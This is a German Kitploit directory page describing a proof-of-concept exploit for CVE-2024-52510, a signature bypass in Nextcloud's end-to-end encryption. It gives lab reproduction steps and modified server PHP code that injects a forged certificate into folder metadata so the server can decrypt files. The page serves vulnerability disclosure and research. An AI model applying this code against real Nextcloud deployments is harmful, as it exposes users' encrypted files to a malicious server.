Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-52510 — Proof-of-Concept-Exploit für CVE-2024-52510, der eine Signaturumgehung im E2EEv2-Protokoll von Nextcloud demonstriert und serverseitige Entschlüsselung verschlüsselter Dateien durch Injektion von Metadatenschlüsseln ermöglicht. | Kitploit
Tools/GitHubGitHub/d-xuan/cve-2024-52510
Verschlüsselungs-/EntschlüsselungstoolsSchwachstellenanalyseExploitationKryptographiePenetrationstestsCloud-Sicherheit
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

Proof-of-Concept-Exploit für CVE-2024-52510, der eine Signaturumgehung im E2EEv2-Protokoll von Nextcloud demonstriert und serverseitige Entschlüsselung verschlüsselter Dateien durch Injektion von Metadatenschlüsseln ermöglicht.

Repository anzeigen
289vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Nextcloud X-E2EE-SIGNATURE Bypass POC

Zusammenfassung

  • Während des normalen Betriebs des E2EEv2-Protokolls von Nextcloud signieren Clients kryptografisch Ordner-Metadaten, bevor sie an den Server hochgeladen werden. Dies stellt sicher, dass die Metadaten nicht manipuliert wurden, wenn sie zum Zweck der Dateifreigabe oder Synchronisierung von Änderungen erneut abgerufen werden.

  • Die Signaturüberprüfung wird vom Client in foldermetadata.cpp:177 durchgeführt, wenn die abgerufenen Metadaten initialisiert werden. Es gibt jedoch zwei Möglichkeiten, wie ein bösartiger Server diese Prüfung umgehen kann:

    • Der Server kann mit einem leeren X-E2EE-SIGNATURE-Antwort-Header antworten. Da der Header leer ist, wird die Bedingung bei foldermetadata.cpp:168 erfüllt, sodass die Signaturüberprüfung nicht stattfindet und die geänderten Metadaten vom Client akzeptiert werden.

    • Der Server kann ein Zertifikat in das users JSON-Array einfügen und dann die Metadaten mit diesem Zertifikat signieren. Da CMS_NO_SIGNER_CERT_VERIFY an clientsideencryption.cpp:941 übergeben wird, wird das signierende Zertifikat nicht kettengeprüft und der Client prüft nur, ob das signierende Zertifikat im certificatePems-Vektor (clientsideencryption.cpp:955-971) vorhanden ist, der vom Server kontrolliert wird.

  • In diesem POC werden wir die letztere Methode demonstrieren, da sie die schwieriger zu implementierende Methode ist, jedoch wurden beide getestet und funktionieren.

  • Ein bösartiger Server kann diesen Bypass nutzen, um Clients Metadatenschlüssel bereitzustellen, die dem Server bekannt sind. Die Clients verwenden dann diesen Metadatenschlüssel, um nachfolgende Dateien zu verschlüsseln, sodass der Server Dateien in Ende-zu-Ende-verschlüsselten Ordnern entschlüsseln und lesen kann.

    Diese Art der Ausnutzung des Signatur-Bypasses basiert auf einem Angriff, der 2023 von Albrecht, Backendal, Coppola, Paterson auf eine frühere Version des E2EE-Protokolls gefunden wurde (https://eprint.iacr.org/2024/546). Tatsächlich war die Authentifizierung von Metadatenschlüsseln eine Abwehrstrategie gegen den Angriff (siehe Abschnitt 5.1 des verlinkten Papers).

Schritte zur Reproduktion

  1. Klonen Sie dieses Repository und öffnen Sie es in VS Code mit der DevContainer-Erweiterung. Ein DevContainer, basierend auf dem im Nextcloud Server Repository, wurde mit den folgenden Änderungen bereitgestellt:

    • Zu Debugging-Zwecken ist ein mitmproxy-Reverse-Proxy auf Port 7001 vorhanden. Die Weboberfläche ist über Port 7002 erreichbar.
    • Bei der Installation des Nextcloud-Servers werden auch die Apps encryption und end_to_end_encryption aktiviert, und ein Konto mit Benutzername und Passwort sharer wird erstellt.
  2. Sobald der Server läuft, verbinden Sie sich über http://localhost:8000 (oder über den Reverse-Proxy unter http://localhost:7001) mit dem neuesten Client. Derzeit habe ich dies mit dem AppImage v3.13.2 getestet.

sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. Wenn Sie dazu aufgefordert werden, melden Sie sich mit Benutzername sharer und Passwort sharer an. Akzeptieren Sie die Standard-Synchronisierungsoptionen (Erstellen eines Verzeichnisses ~/Nextcloud/ mit welcome.txt darin) und richten Sie die Ende-zu-Ende-Verschlüsselung in den Nextcloud-Client-Einstellungen ein.

  2. Erstellen Sie einen neuen Ordner encrypted_folder im Verzeichnis ~/Nextcloud. Markieren Sie diesen Ordner in den Nextcloud-Client-Einstellungen als verschlüsselt.

  1. Erstellen Sie innerhalb von Nextcloud/encrypted_folder eine einfache Textdatei und warten Sie, bis sie synchronisiert wird.
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. Melden Sie sich in der Postgres-Datenbank in Adminer unter http://localhost:8080/ mit folgenden Anmeldedaten an:

    • Benutzername: postgres
    • Passwort: postgres
    • Datenbank: postgres

und navigieren Sie zu den Tabellen oc_e2e_encryption_metadata und oc_e2e_encryption_decrypted. Sie sollten die entschlüsselten Metadaten und Dateiinhalte im Klartext sehen können.

Die obigen Screenshots hatten ein paar zusätzliche Testdateien erstellt und gelöscht, daher werden sie etwas anders aussehen als bei Ihnen.

Technische Details

Dieses Repository basiert auf den Repositories Nextcloud Server und End to End Encryption App. Der meiste Code bleibt unverändert, daher werde ich versuchen, eine Erklärung zu geben, was geändert wurde.

Zunächst wurde die Methode getMetadata von MetaDataStorage.php geändert, um die zurückgegebenen Metadaten zu manipulieren, indem eine neue Methode getFakeUserMetadata aufgerufen wird.

--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}
 
-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);
 
-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

In der Methode getFakeUserMetadata injizieren wir zunächst ein ausgewähltes Zertifikat in den users JSON-Schlüssel. Dies dient der Erleichterung der Signaturfälschung.

	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* This is a non-root metadata. Return as normal*/
			return json_encode($metaData);
		}
				
		/* 
		 * Step 1: Inject a fake public key into the metadata
		 * This can be used to forge a signature for the response.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Create a new private key for the fake user */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
Tool herunterladen